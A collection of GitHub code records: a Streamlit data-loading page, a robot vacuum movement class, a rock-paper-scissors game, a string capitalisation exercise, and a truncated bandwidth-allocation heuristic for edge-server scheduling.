st.write(\"Loaded data for the first time (\", start_date, \",\", end_date, \")...\")\n return dates_dict\n\n@st.cache(suppress_st_warning=True, allow_output_mutation=True, show_spinner=False, hash_funcs={\"_thread.RLock\": lambda _: None, \"builtins.weakref\": lambda _: None})\ndef load_remote_data(start_date, end_date, only_challenges, all_files, local=False):\n print(\"Loading data from deta drive...\")\n deta = Deta(st.secrets[\"deta_key\"]) # Initialize with a Project Key\n drive = deta.Drive(\"human_leadership_data_HF\")\n dates_dict = util.load_dates_from_npz(start_date, end_date, only_challenges, local=local, remote_files=all_files, drive=drive)\n st.write(\"Loaded data for the first time (\", start_date, \",\", end_date, \")...\")\n return dates_dict\n \n@st.cache(suppress_st_warning=True, allow_output_mutation=True, show_spinner=False, hash_funcs={\"_thread.RLock\": lambda _: None, \"builtins.weakref\": lambda _: None})\ndef get_all_remote_files():\n print(\"Getting all remote files...\")\n deta = Deta(st.secrets[\"deta_key\"]) # Initialize with a Project Key\n drive = deta.Drive(\"human_leadership_data_HF\")\n all_files = drive.list(limit=1000, prefix=\"challenges\")[\"names\"] # get all available remote files\n return all_files\n \n \nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--local\", help=\"load local data\", action=\"store_true\")\n args = parser.parse_args()\n if 'data_model' not in st.session_state:\n #initialize data model\n st.session_state[\"data_model\"] = data_model\n\n page = MainPage(data_model, args)\n title = \"Human leadership data Humboldt Forum\"\n description = \"\"\"\n This is the home page where you set the start and end date range of data to load.\n \"\"\"\n page.run_page(title, description)\n\n \n","repo_name":"jotpio/thesis","sub_path":"streamlit/home.py","file_name":"home.py","file_ext":"py","file_size_in_byte":8278,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"25639050959","text":"from src.model.Aspirador import Aspirador\n\nclass AspiradorInteligente(Aspirador):\n limit_x:int = 0\n limit_y:int = 0\n\n def mover(self, movimento:str):\n self.andar_norte(movimento)\n self.andar_sul(movimento)\n self.andar_leste(movimento)\n self.andar_oeste(movimento)\n\n def andar_norte(self, movimento:str):\n if self.get_orientacao() == 'N':\n if movimento == 'F' and self.get_coord_y() < self.limit_y:\n self.set_coord_y(self.get_coord_y() + 1)\n elif movimento == 'T' and self.get_coord_y() > 0:\n self.set_coord_y(self.get_coord_y() - 1)\n \n def andar_leste(self, movimento:str):\n if self.get_orientacao() == 'L':\n if movimento == 'F' and self.get_coord_x() < self.limit_x:\n self.set_coord_x(self.get_coord_x() + 1)\n elif movimento == 'T' and self.get_coord_x() > 0:\n self.set_coord_x(self.get_coord_x() - 1)\n \n def andar_sul(self, movimento:str):\n if self.get_orientacao() == 'S':\n if movimento == 'F' and self.get_coord_y() > 0:\n self.set_coord_y(self.get_coord_y() - 1)\n elif movimento == 'T' and self.get_coord_y() < self.limit_y:\n self.set_coord_y(self.get_coord_y() + 1)\n \n def andar_oeste(self, movimento:str):\n if self.get_orientacao() == 'O':\n if movimento == 'F' and self.get_coord_x() > 0:\n self.set_coord_x(self.get_coord_x() - 1)\n elif movimento == 'T' and self.get_coord_x() < self.limit_x:\n self.set_coord_x(self.get_coord_x() + 1)\n\n # Atualiza a orientação do aspirador para a direita ou esquerda\n # de acordo com a orientação atual\n def orientar(self, rotacao:str):\n if rotacao == 'D' or rotacao == 'E':\n nova_orientacao:str = ''\n if rotacao == 'D':\n self.set_orientacoes(-1)\n nova_orientacao = self.get_orientacoes()[0]\n elif rotacao == 'E':\n self.set_orientacoes(1)\n nova_orientacao = self.get_orientacoes()[0]\n self.set_orientacao(nova_orientacao)\n\n def computer(self, x:int, y:int, comandos:list[str]):\n self.limit_x = x\n self.limit_y = y\n for comando in comandos:\n self.orientar(comando)\n self.mover(comando)\n return self.get_orientacao(), self.get_coord_x(), self.get_coord_y()\n","repo_name":"RaulLima2/Programa-de-Trainees-L2","sub_path":"AspiradorInteligente/src/AspiradorInteligente.py","file_name":"AspiradorInteligente.py","file_ext":"py","file_size_in_byte":2470,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"38451499436","text":"import random\ncomputer_choices = (\"rock\", 'paper', 'scissors')\nplayer_wins = 0\ncomputer_wins = 0\ndraws = 0\nis_playing = True\n\nname = input('Name: ').title()\nprint(\"\"\"Please type :\nR-to choose rock\nP-to choose paper\nS-to choose scissors\nQ-to quit the game\"\"\")\n\nwhile is_playing:\n command = input('> ').lower()\n if command == 'q':\n is_playing = False\n print('Thanks for playing!')\n print(f\"You won {player_wins} times\")\n print(f\"Computer won {computer_wins} times\")\n print(f\"You drew {draws} times with the computer\")\n if player_wins > computer_wins:\n print(f'Congratulations,{name}! You defeated the computer!')\n elif computer_wins > player_wins:\n print(f'You suck,{name}! Computer won more times!')\n else:\n print('Game ends in a draw!')\n break\n possibilities = random.choice(computer_choices)\n print(f'Computer picked {possibilities}')\n if (command == 'r' and possibilities == 'scissors') or (command == 'p' and possibilities == 'rock') or (\n command == 's' and possibilities == 'paper'):\n player_wins += 1\n print('You won!')\n elif (command == 'r' and possibilities == 'paper') or (command == 'p' and possibilities == 'scissors') or (\n command == 's' and possibilities == 'rock'):\n computer_wins += 1\n print('You lose!')\n elif (command == 'r' and possibilities == 'rock') or (command == 'p' and possibilities == 'paper') or (\n command == 's' and possibilities == 'scissors'):\n draws += 1\n print('Draw!')\n else:\n print(\"Please input 'r','p' or 's' to play. Press 'q' to quit!\")\n\n\n","repo_name":"robinmuhia/Data-Structures-and-Algorithms","sub_path":"noob-projects/rps.py","file_name":"rps.py","file_ext":"py","file_size_in_byte":1681,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"18988690384","text":"# Problem Statement\n'''capitalize the first and last character of each word in a string'''\nimport string\ndef capWord(str):\n str1 = ''\n s = str.title().split(\" \")\n for i in s:\n str1 += (i[:-1] + i[-1].upper()) + ' '\n return print(\"original string was : {} and the converted string is : {}\".format(str,str1))\n\n# Driver code\ncapWord('my name is pritam kumar dey')\ncapWord('Murder for a jar of red rum')\n","repo_name":"devops-pritam/python","sub_path":"string/05.str_cap_first_and_last_of_a_word.py","file_name":"05.str_cap_first_and_last_of_a_word.py","file_ext":"py","file_size_in_byte":419,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"37746065764","text":"import csv\nimport math\nfrom shutil import move\nimport sys\nimport os\nimport random\nimport os.path as osp\nimport numpy as np\nimport copy\n\n#线下默认数据集跑40xxx分\n# NOTE 提交前记得修改路径\ninput_path = \"../../data/\"\noutput_path = \"../../output/solution.txt\"\n\nCHECK_ZERO = 1\n\n#要在03231612的基础上再进行优化,优化了两个地方\ndef getSiteBandwidth():\n site_bandwidth = {}\n with open(osp.join(input_path, \"site_bandwidth.csv\")) as f:\n f_csv = csv.reader(f)\n headers = next(f_csv)\n for row in f_csv:\n site_bandwidth[row[0]] = int(row[1])\n N = len(site_bandwidth) # N site\n return site_bandwidth, N\n\ndef getQoSConstraint():\n with open(osp.join(input_path, \"config.ini\"), mode='r') as f:\n qos_constraint = int(f.readlines()[1].split(\"=\")[-1])\n return qos_constraint\n\ndef getQoS():\n qos = {}\n with open(osp.join(input_path, \"qos.csv\")) as f:\n f_csv = csv.reader(f)\n headers = next(f_csv)\n M = len(headers) - 1\n for row in f_csv:\n for i in range(M):\n qos[(row[0], headers[i+1])] = int(row[i+1])\n return qos\n\ndef getDemand():\n demand = {}\n with open(osp.join(input_path, \"demand.csv\")) as f:\n f_csv = csv.reader(f)\n headers = next(f_csv)\n M = len(headers) - 1 # M client\n for row in f_csv:\n for i in range(M):\n if headers[i+1] not in demand.keys():\n demand[headers[i+1]] = [int(row[i+1])]\n else:\n demand[headers[i+1]].append(int(row[i+1]))\n T = len(demand[headers[1]]) # T\n return demand, T\n\ndef getQoSRelationship():\n site4client = {}\n for m in demand.keys():\n for n in site_bandwidth.keys():\n # print(n, m)\n # print(qos[(n, m)])\n if qos[(n, m)] < qos_constraint:\n if m not in site4client.keys():\n site4client[m] = [n]\n else:\n site4client[m].append(n)\n\n # 每一个边缘节点可以服务的客户\n client4site = {}\n for n in site_bandwidth.keys():\n for m in demand.keys():\n if qos[(n, m)] < qos_constraint:\n if n not in client4site.keys():\n client4site[n] = [m]\n else:\n client4site[n].append(m)\n if n not in client4site.keys():\n client4site[n] = []\n return site4client, client4site\n\ndemand, timestamps = getDemand()\nqos_constraint = getQoSConstraint()\nqos = getQoS()\nsite_bandwidth, site_number = getSiteBandwidth()\nsite4client, client4site = getQoSRelationship()\n\n\n\ndef demandAnalysis():\n number_of_big_bandwidth = site_number * math.floor(0.05 * timestamps) #可放的大流量个数\n\n big_bandwidth_record = [] #list of tuple (timestamps, client, bandwidth) 统计大流量,在哪个时刻,由哪个客户产生\n least_big_bandwidth = 999999999\n\n client_name_order = []\n demand_list = []\n \n debug_big_bandwidth_variety = []\n for client in demand.keys():\n client_name_order.append(client)\n demand_list.append(demand[client])\n demand_list_np = np.array(demand_list)\n demand_list_without_95 = copy.deepcopy(demand_list_np)\n #print(demand_list_np.shape)\n index = np.argpartition(demand_list_np.ravel(),-number_of_big_bandwidth)[-number_of_big_bandwidth:]\n index_2d = np.unravel_index(index,demand_list_np.shape)\n #print(index_2d)\n for id in range(len(index_2d[0])):\n big_bandwidth_record.append((index_2d[1][id],client_name_order[index_2d[0][id]],demand_list_np[index_2d[0][id]][index_2d[1][id]]))\n if demand_list_np[index_2d[0][id]][index_2d[1][id]] < least_big_bandwidth:\n least_big_bandwidth = demand_list_np[index_2d[0][id]][index_2d[1][id]]\n demand_list_without_95[index_2d[0][id]][index_2d[1][id]] = 0\n debug_big_bandwidth_variety.append(demand_list_np[index_2d[0][id]][index_2d[1][id]])\n #还不确定是不是要减一,需要运行一下查看\n big_bandwidth_per_site = int(number_of_big_bandwidth / site_number)\n #print(\"big_bandwidth_record\")\n #print(big_bandwidth_record)\n #print(debug_big_bandwidth_variety) 有必要对大流量先后排序进行处理,最大的先找server给它\n client_total_demand_without95 = np.sum(demand_list_without_95,1)\n #print(client_total_demand_without95)\n client_site_number = []\n for client in client_name_order:\n client_site_number.append(len(site4client[client]))\n #print(client_site_number)\n client_per_server_exp_demand = client_total_demand_without95 / np.array(client_site_number)\n #print(client_per_server_exp_demand)\n\n #这里 site_per_t_exp算上了大流量。也许不算大流量可能会优化一点????\n site_per_t_exp = {}\n for site in client4site.keys():\n site_total = 0\n for i in range(len(client_name_order)):\n client = client_name_order[i]\n if client in client4site[site]:\n site_total += client_per_server_exp_demand[i]\n test_scale = 1 #default = 1\n site_per_t_exp[site] = int(site_total / timestamps /test_scale)\n \n #print(site_per_t_exp)\n site_per_t_exp = site_per_t_exp\n return big_bandwidth_record, big_bandwidth_per_site, least_big_bandwidth, site_per_t_exp\n\n#大流量记录, 每个站点可容纳的大流量数目,最小的大流量,每个时间步站点期望处理的流量数目。\nbig_bandwidth_record, big_bandwidth_per_site, least_big_bandwidth, site_per_t_exp = demandAnalysis()\n\nif __name__ == '__main__':\n \n solution = open(output_path,mode='w')\n #记录每个site已经接收的大带宽的客户数目\n \n debug_site_over_ts = {}\n #这是对于所有时间步来进行统计的\n site_big_bandwidth_in_number = {}\n\n big_bandwidth_order = sorted(big_bandwidth_record, key = lambda x:x[2], reverse = True)\n #print(big_bandwidth_order)\n\n #-----------add---------\n site_t = {} #按时间步顺序记录站点流量使用情况\n for site in site_bandwidth.keys():\n site_t[site] = {'usage': []}\n #------------add end-----------\n\n #记录在每个时间步,站点对应的可服务的大流量客户。\n ts_site_big_bandwidth_client = {} #dict timestamp->site->[client,...]\n for ts, client, bandwidth in big_bandwidth_order:\n if ts not in ts_site_big_bandwidth_client.keys():\n ts_site_big_bandwidth_client[ts] = {}\n for site in site4client[client]:\n if site not in ts_site_big_bandwidth_client[ts].keys():\n ts_site_big_bandwidth_client[ts][site] = [client]\n else:\n ts_site_big_bandwidth_client[ts][site].append(client)\n \n #print(\"ts site big bandwidth client:\", ts_site_big_bandwidth_client)\n #记录时间步 站点分配流量情况,针对大流量的记录, 以及吸收了大流量的站点,再吸收小流量的情况\n timestamp_site_client_allocation = {} #dict timestamp-> site->[(client,bandwidth),(client,bandwidth),...]\n #记录时间步 客户分出流量情况,针对大流量的记录 以及客户小流量被分配到吸收了大流量的站点的情况\n timestamp_client_site_spread = {} #dict timestamp -> client -> [(site,bandwidth),(site,bandwidth),...]\n\n #首先对大流量进行分配\n #这里需要记录进行了操作的timestamps和分配情况\n ts_processed_big_client = {} # dict timestamp -> [client, clinet,...]\n ts_have_big_bw_site = {} #dict timestamp->[site,site]\n for ts, client, bandwidth in big_bandwidth_order:\n chosen_site = \"\"\n #------------------方案新:挑选服务器(优化1)----------------\n \n available_site = []\n #如果当前时间步已经有接收了大流量的服务器\n if ts in ts_have_big_bw_site.keys():\n big_bw_site_list = ts_have_big_bw_site[ts]\n for s in big_bw_site_list:\n if s in site_big_bandwidth_in_number.keys() and site_big_bandwidth_in_number[s] >= big_bandwidth_per_site:\n continue\n if s not in site4client[client]:\n continue\n if ts in timestamp_site_client_allocation.keys() and s in timestamp_site_client_allocation[ts].keys():\n remaining_bandwidth = site_bandwidth[s]\n for c, bw in timestamp_site_client_allocation[ts][s]:\n remaining_bandwidth -= bw\n if remaining_bandwidth > demand[client][ts] * 0.7:\n available_site.append(s)\n #在接收了大流量的服务器里面找对应客户数最少的\n if len(available_site):\n min_client_num = 99\n for s in available_site:\n if len(client4site[s]) < min_client_num:\n chosen_site = s\n min_client_num = len(client4site)\n #在可用服务器里面找对应客户数最少的\n else:\n min_client_num = 99\n for s in site4client[client]:\n if s in site_big_bandwidth_in_number.keys() and site_big_bandwidth_in_number[s] >= big_bandwidth_per_site:\n continue\n if len(client4site[s]) < min_client_num:\n chosen_site = s\n min_client_num = len(client4site)\n \n #------------------方案新:挑选服务器结束--------------\n #---------------------方案一:挑选服务器------------------------\n #首先选择一个“较好的”服务器,按照原来的方法选\n '''\n for site in site4client[client]:\n if site in site_big_bandwidth_in_number.keys() and site_big_bandwidth_in_number[site] >= big_bandwidth_per_site:\n continue\n site_serve_big_client_num = 0\n if site in ts_site_big_bandwidth_client[ts].keys():\n site_serve_big_client_list = ts_site_big_bandwidth_client[ts][site]\n site_serve_big_client_num = len(site_serve_big_client_list)\n if ts in ts_processed_big_client.keys():\n for c in site_serve_big_client_list:\n if c == client:\n continue\n elif c in ts_processed_big_client[ts]:\n site_serve_big_client_num -= 1\n site_current_ts_used_bandwidth = 0\n if ts in timestamp_site_client_allocation.keys() and site in timestamp_site_client_allocation[ts].keys():\n for c, b in timestamp_site_client_allocation[ts][site]:\n site_current_ts_used_bandwidth += b\n site_remaining_bandwidth = site_bandwidth[site] - site_current_ts_used_bandwidth\n \n if site_serve_big_client_num == 1 and site_remaining_bandwidth >= int(bandwidth*0.7):\n chosen_site = site\n break\n #或者找一个当前时间步剩余流量大于客户当前时间步请求流量的70%的服务器\n elif site_remaining_bandwidth >= int(bandwidth*0.7):\n chosen_site = site\n '''\n #------------------方案一:挑选服务器结束------------------\n #如果找到了这么个服务器\n if chosen_site != \"\":\n if ts in ts_have_big_bw_site.keys():\n ts_have_big_bw_site[ts].append(chosen_site)\n else:\n ts_have_big_bw_site[ts] = [chosen_site]\n if ts not in ts_processed_big_client.keys():\n ts_processed_big_client[ts] = [client]\n else:\n ts_processed_big_client[ts].append(client)\n if chosen_site in site_big_bandwidth_in_number.keys():\n site_big_bandwidth_in_number[chosen_site] += 1\n else:\n site_big_bandwidth_in_number[chosen_site] = 1 \n \n allocate_bandwidth = 0\n chosen_site_ts_used_bw = 0\n if ts in timestamp_site_client_allocation.keys() and chosen_site in timestamp_site_client_allocation[ts].keys():\n for c, b in timestamp_site_client_allocation[ts][chosen_site]:\n chosen_site_ts_used_bw += b\n chosen_site_remaining_bw = site_bandwidth[chosen_site] - chosen_site_ts_used_bw\n if chosen_site_remaining_bw >= bandwidth:\n allocate_bandwidth = bandwidth\n else:\n allocate_bandwidth = chosen_site_remaining_bw\n if(CHECK_ZERO):\n if allocate_bandwidth == 0:\n print(\"ZERO at allocate big bw. ts=\",ts, \" client=\",client, \" site=\",chosen_site)\n \n \n #进行资源分配,修改相应的记录\n if ts in timestamp_site_client_allocation.keys():\n if chosen_site in timestamp_site_client_allocation[ts].keys():\n timestamp_site_client_allocation[ts][chosen_site].append((client,allocate_bandwidth))\n else:\n timestamp_site_client_allocation[ts][chosen_site] = [(client,allocate_bandwidth)]\n else:\n timestamp_site_client_allocation[ts] = {}\n timestamp_site_client_allocation[ts][chosen_site] = [(client,allocate_bandwidth)]\n \n if ts in timestamp_client_site_spread.keys():\n if client in timestamp_client_site_spread[ts].keys():\n timestamp_client_site_spread[ts][client].append((chosen_site,allocate_bandwidth))\n else:\n timestamp_client_site_spread[ts][client] = [(chosen_site, allocate_bandwidth)]\n else:\n timestamp_client_site_spread[ts] = {}\n timestamp_client_site_spread[ts][client] = [(chosen_site,allocate_bandwidth)]\n else:\n pass\n '''\n print(\"big client = \", client, \" at time=\",ts,\" bandwidth=\",bandwidth,\" not find server\")\n if ts == 2:\n print(\"big client = \", client, \" at time=\",ts,\" bandwidth=\",bandwidth,\" not find server\")\n print(timestamp_client_site_spread[2])\n print(timestamp_site_client_allocation[2])\n print(site4client[client])\n print(site_big_bandwidth_in_number)\n print(len(site_big_bandwidth_in_number.keys()))\n '''\n #print(\"ts client site spread\")\n #print(timestamp_client_site_spread)\n #print(\"ts site client allocation\")\n #print(timestamp_site_client_allocation)\n \n #----------------优化2:吸收了大流量的那些服务器先去尽可能吸收小流量-------------------\n # 记录在timestamp_site_client_allocation ={} dict timestamp->site->[(client,bandwidth),(client,bandwidth)]\n # 与 timestamp_client_site_spread={} dict timestamp->client->[(site,bandwidth),(site,bandwidth)]\n for ts in ts_have_big_bw_site.keys():\n site_list = ts_have_big_bw_site[ts]\n #这里的站点就暂不排序,其实也可以按照能服务客户的多少进行排序\n for s in site_list:\n #计算站点当前时间步剩余带宽\n s_remaining_bw = site_bandwidth[s]\n if ts in timestamp_site_client_allocation.keys() and s in timestamp_site_client_allocation[ts].keys():\n for ctmp, bwtmp in timestamp_site_client_allocation[ts][s]:\n s_remaining_bw -= bwtmp\n if s_remaining_bw == 0:\n continue\n elif s_remaining_bw < 0:\n print(\"ERROR!!\")\n #遍历此站点能服务的客户\n c_list = client4site[s]\n for c in c_list:\n c_remaining_demand = demand[c][ts]\n if ts in timestamp_client_site_spread.keys() and c in timestamp_client_site_spread[ts].keys():\n for stmp, bwtmp in timestamp_client_site_spread[ts][c]:\n c_remaining_demand -= bwtmp\n if c_remaining_demand > 0:\n allocate_bandwidth = 0\n if s_remaining_bw >= c_remaining_demand:\n allocate_bandwidth = c_remaining_demand\n else:\n allocate_bandwidth = s_remaining_bw\n\n if(CHECK_ZERO):\n if allocate_bandwidth == 0:\n print(\"ZERO at big-small client. ts=\",ts, \" client=\",c, \" site=\",s)\n s_remaining_bw -= allocate_bandwidth\n c_remaining_demand -= allocate_bandwidth\n\n if ts in timestamp_site_client_allocation.keys():\n if s in timestamp_site_client_allocation[ts].keys():\n timestamp_site_client_allocation[ts][s].append((c,allocate_bandwidth))\n else:\n timestamp_client_site_spread[ts][s] = [(c,allocate_bandwidth)]\n else:\n timestamp_site_client_allocation[ts] = {}\n timestamp_site_client_allocation[ts][s] = [(c,allocate_bandwidth)]\n if ts in timestamp_client_site_spread.keys():\n if c in timestamp_client_site_spread[ts].keys():\n timestamp_client_site_spread[ts][c].append((s,allocate_bandwidth))\n else:\n timestamp_client_site_spread[ts][c] = [(s,allocate_bandwidth)]\n else:\n timestamp_client_site_spread[ts] = {}\n timestamp_client_site_spread[ts][c] = [(s,allocate_bandwidth)]\n if s_remaining_bw == 0:\n break\n elif c_remaining_demand == 0:\n continue\n else:\n print(\"ERROR!!!!\")\n pass\n pass\n #-----------------------------优化2结束--------------------------------------------\n \n\n #print(\"before\")\n #print(site_big_bandwidth_in_number)\n #print(\"len=\",len(site_big_bandwidth_in_number))\n\n #存在这么一些服务器,压根没有对应到任意一个大流量,这些服务器的95%后带宽要利用起来,找出时间步与这些服务器的对应关系\n consider_site = []\n possible_accu_number = 0\n for site in site_bandwidth.keys():\n if site not in site_big_bandwidth_in_number.keys():\n consider_site.append(site)\n possible_accu_number += big_bandwidth_per_site\n elif site_big_bandwidth_in_number[site] < big_bandwidth_per_site:\n consider_site.append(site)\n possible_accu_number += big_bandwidth_per_site - site_big_bandwidth_in_number[site]\n #print(\"possible accu\", possible_accu_number)\n \n #print(\"consider site\",consider_site,\"len=\",len(consider_site))\n consider_site_possible_serve_bw = {}\n for t in range(timestamps):\n for s in consider_site:\n max_possible_serve_bw = 0\n all_client = client4site[site]\n for c in all_client:\n #不算那些已经被服务器接收的大流量\n if t in timestamp_client_site_spread.keys() and c in timestamp_client_site_spread.keys():\n continue\n max_possible_serve_bw += demand[c][t]\n if s not in consider_site_possible_serve_bw.keys():\n consider_site_possible_serve_bw[s] = [(t,max_possible_serve_bw)]\n else:\n consider_site_possible_serve_bw[s].append((t,max_possible_serve_bw))\n \n\n idx_consider_site = {}\n consider_site_for_timestamp = {} #***后续要用的。dict 每个时间步找一个吸收很多客户流量的site\n #random.shuffle(consider_site)\n for s in consider_site_possible_serve_bw.keys():\n idx_consider_site[s] = 0\n tmp_list = sorted(consider_site_possible_serve_bw[s], key=lambda x:x[1], reverse=True)\n consider_site_possible_serve_bw[s] = tmp_list\n loop_counter = 0\n while loop_counter < possible_accu_number:\n this_round_max = 0\n this_round_site = \"\"\n this_round_ts = -1\n for s in consider_site:\n if idx_consider_site[s] == timestamps - 1:\n print(\"site=\",s,\"already reach all ts.\")\n consider_site.remove(s)\n continue\n bw = consider_site_possible_serve_bw[s][idx_consider_site[s]][1]\n ts = consider_site_possible_serve_bw[s][idx_consider_site[s]][0]\n #print(\"idx=\",idx_consider_site[s],\"site=\",s,\"bw=\",bw,\"ts=\",ts)\n #print(\"bw=\",bw,\"ts=\",ts)\n if bw > this_round_max:\n this_round_max = bw\n this_round_site = s\n this_round_ts = ts\n #可能有那么一些站点从始至终都没有能够服务的流量\n if this_round_max == 0:\n break\n idx_consider_site[this_round_site] += 1\n \n #如果说本轮找到的这个最大值对应的时间步已经有站点了,那么就不要这个了\n if ts in consider_site_for_timestamp.keys():\n #print(\"ts already in.------------------------------------ ts=\",ts,\"site=\",this_round_site,\"bw=\",this_round_max)\n continue\n #print(\"this round max bw=\",this_round_max,\" site=\",this_round_site, \"ts=\",this_round_ts)\n consider_site_for_timestamp[this_round_ts] = this_round_site\n if this_round_site in site_big_bandwidth_in_number.keys():\n site_big_bandwidth_in_number[this_round_site] += 1\n else:\n site_big_bandwidth_in_number[this_round_site] = 1\n if site_big_bandwidth_in_number[this_round_site] == big_bandwidth_per_site:\n consider_site.remove(this_round_site)\n loop_counter += 1\n\n #print(site_big_bandwidth_in_number)\n #print(len(site_big_bandwidth_in_number.keys()))\n #print(\"--------\")\n #print(consider_site_for_timestamp)\n\n #-----------以上找出了大流量的分配方案,以及每个时间步吸收非大流量客户的站点k-------------\n #在每个时间步进行处理的时候 1.先根据大流量分配方案把大流量给实在地分配了 2.让吸收了大流量的站点继续吸收流量 3.对于站点k,让它们尽量吸收流量\n for t in range(timestamps):\n\n client_info = {}\n for client in list(demand.keys()):\n client_info[client] = [demand[client][t]] #total demand\n client_info[client].append(demand[client][t]) #remaining demand\n client_info[client].append(len(site4client[client]))\n client_info[client].append({})\n\n site_info = {}\n for site in list(site_bandwidth.keys()):\n site_info[site] = [site_bandwidth[site]] # max bandwidth\n site_info[site].append(site_bandwidth[site]) #remaining bandwidth\n site_info[site].append(len(client4site[site]))\n site_info[site].append({}) #dict 记录 client->bandwidth\n #--------------add-----------\n site_allocation = {}\n for site in site_bandwidth.keys():\n site_allocation[site] = {'usage': 0}\n #------------add end------------\n\n client_info_order = sorted(client_info.items(), key=lambda x:x[1][2], reverse=False)\n debug_client_got_bandwidth = {}\n for c in client_info.keys():\n debug_client_got_bandwidth[c] = 0\n current_ts_has_big_bandwidth_and_available_site = []\n #1. 落实大流量的分配\n #如果当前时间步存在大流量的分配方案, 落实本时间步的大流量分配\n if t in timestamp_site_client_allocation.keys():\n for s in timestamp_site_client_allocation[t].keys():\n for c, bw in timestamp_site_client_allocation[t][s]:\n\n #-----------add-------\n if s in site_allocation.keys() and c in site_allocation[s].keys():\n site_allocation[s][c] += int(bw)\n else:\n site_allocation[s][c] = int(bw)\n site_allocation[s]['usage'] += int(bw)\n #-------add end--------\n site_info[s][1] -= bw\n client_info[c][1] -= bw\n\n if s not in client_info[c][3].keys():\n site_info[s][3][c] = bw\n client_info[c][3][s] = bw\n else:\n site_info[s][3][c] += bw\n client_info[c][3][s] += bw\n debug_client_got_bandwidth[c] += bw\n #理论上这个if判断可以去掉,只要前面的大流量分配正确,这里是不会出问题的。\n if site_info[s][1] < 0 or client_info[c][1] < 0:\n print(\"ERROR! CHECK BIG BANDWIDTH ALLOCATION!\")\n if site_info[s][1] > 0:\n current_ts_has_big_bandwidth_and_available_site.append(s)\n\n #2. 让吸收了大流量的站点继续吸收流量-----------------biggest first----------------------\n \n for site in current_ts_has_big_bandwidth_and_available_site:\n actual_client = list(client4site[site])\n #这个站点对应的能服务的客户,暂未排序,看看后续是否需要排序\n for client in actual_client:\n if site_info[site][1] == 0:\n current_ts_has_big_bandwidth_and_available_site.remove(site)\n break\n elif site_info[site][1] < 0:\n print(\"ERROR!!! SITE OVER LIMIT\")\n if client_info[client][1] == 0:\n continue\n allocate_bandwidth = 0\n if site_info[site][1] >= client_info[client][1]:\n allocate_bandwidth = client_info[client][1]\n else:\n allocate_bandwidth = site_info[site][1]\n\n\n if(CHECK_ZERO):\n if allocate_bandwidth == 0:\n print(\"ZERO at allocate big-small2. ts=\",t, \" client=\",client, \" site=\",site)\n #---------------add-----------------------\n if site in site_allocation.keys() and client in site_allocation[site].keys():\n site_allocation[site][client] += int(allocate_bandwidth)\n else:\n site_allocation[site][client] = int(allocate_bandwidth)\n site_allocation[site]['usage'] += int(allocate_bandwidth)\n #-------------add end----------------\n \n client_info[client][1] -= allocate_bandwidth\n site_info[site][1] -= allocate_bandwidth\n debug_client_got_bandwidth[client] += allocate_bandwidth\n if site not in client_info[client][3].keys():\n client_info[client][3][site] = allocate_bandwidth\n site_info[site][3][client] = allocate_bandwidth\n else:\n client_info[client][3][site] += allocate_bandwidth\n site_info[site][3][client] += allocate_bandwidth\n\n #--------------biggest first end----------------\n # 3.对于consider站点,尽量吸收流量\n #如果当前时间步存在这么个站点,目前只考虑一个站点的情况\n if t in consider_site_for_timestamp.keys():\n s = consider_site_for_timestamp[t]\n correspond_client = list(client4site[s])\n for c in correspond_client:\n if site_info[s][1] == 0:\n break\n elif site_info[s][1] < 0:\n print(\"ERROR!!! CONSIDER SITE OVER LIMIT!\")\n if client_info[c][1] == 0:\n continue\n allocate_bandwidth = 0\n if site_info[s][1] >= client_info[c][1]:\n allocate_bandwidth = client_info[c][1]\n else:\n allocate_bandwidth = site_info[s][1]\n\n if(CHECK_ZERO):\n if allocate_bandwidth == 0:\n print(\"ZERO at allocate consider. ts=\",t, \" client=\",c, \" site=\",s)\n #-----------------------add----------------\n if s in site_allocation.keys() and c in site_allocation[s].keys():\n site_allocation[s][c] += int(allocate_bandwidth)\n else:\n site_allocation[s][c] = int(allocate_bandwidth)\n site_allocation[site]['usage'] += int(allocate_bandwidth)\n #------------------add end-------------------------\n client_info[c][1] -= allocate_bandwidth\n site_info[s][1] -= allocate_bandwidth\n debug_client_got_bandwidth[c] += allocate_bandwidth\n if s not in client_info[c][3].keys():\n client_info[c][3][s] = allocate_bandwidth\n site_info[s][3][c] = allocate_bandwidth\n else:\n client_info[c][3][s] += allocate_bandwidth\n site_info[s][3][c] += allocate_bandwidth\n\n #-----------------------------------\n #对于剩下的客户流量,按原来方案进行分配\n for client in [x[0] for x in client_info_order]:\n actual_site = list(site4client[client])\n #----------------weighted-----------------------------\n while client_info[client][1] > 0:\n #print(\"allocating bandwidth for client=\",client,\" max demand=\",client_info[client][0], \"remaining demand=\",client_info[client][1])\n if(len(actual_site) == 0):\n print(\"ERROR! NO AVAILABLE SITE.\")\n solution.close()\n os.remove(output_path)\n sys.exit(1)\n for site in list(actual_site):\n if client_info[client][1] == 0:\n break\n elif client_info[client][1] < 0:\n print(\"ERROR! CHECK CLIENT REMAINING BANDWIDTH\")\n onetime_allocate_bandwidth = site_per_t_exp[site]\n if site_info[site][1] == 0:\n actual_site.remove(site)\n continue\n elif site_info[site][1] < 0:\n print(\"ERROR!! CHECK SITE REMAINING BANDWIDTH.\")\n allocate_bandwidth = 0\n if site_info[site][1] >= onetime_allocate_bandwidth:\n if client_info[client][1] > onetime_allocate_bandwidth:\n allocate_bandwidth = onetime_allocate_bandwidth\n else:\n allocate_bandwidth = client_info[client][1]\n else:\n if client_info[client][1] >= site_info[site][1]:\n allocate_bandwidth = site_info[site][1]\n else:\n allocate_bandwidth = client_info[client][1]\n if(CHECK_ZERO):\n if allocate_bandwidth == 0:\n print(\"ZERO at allocate other. ts=\",t, \" client=\",client, \" site=\",site)\n #--------------add------------------\n if site in site_allocation.keys() and client in site_allocation[site].keys():\n site_allocation[site][client] += int(allocate_bandwidth)\n else:\n site_allocation[site][client] = int(allocate_bandwidth)\n site_allocation[site]['usage'] += int(allocate_bandwidth)\n #-----------add end----------------\n debug_client_got_bandwidth[client] += allocate_bandwidth\n #print(\"allocate bandwidth for client, from site = \",site,\"bandwidth=\",allocate_bandwidth )\n client_info[client][1] -= allocate_bandwidth\n site_info[site][1] -= allocate_bandwidth\n if site not in 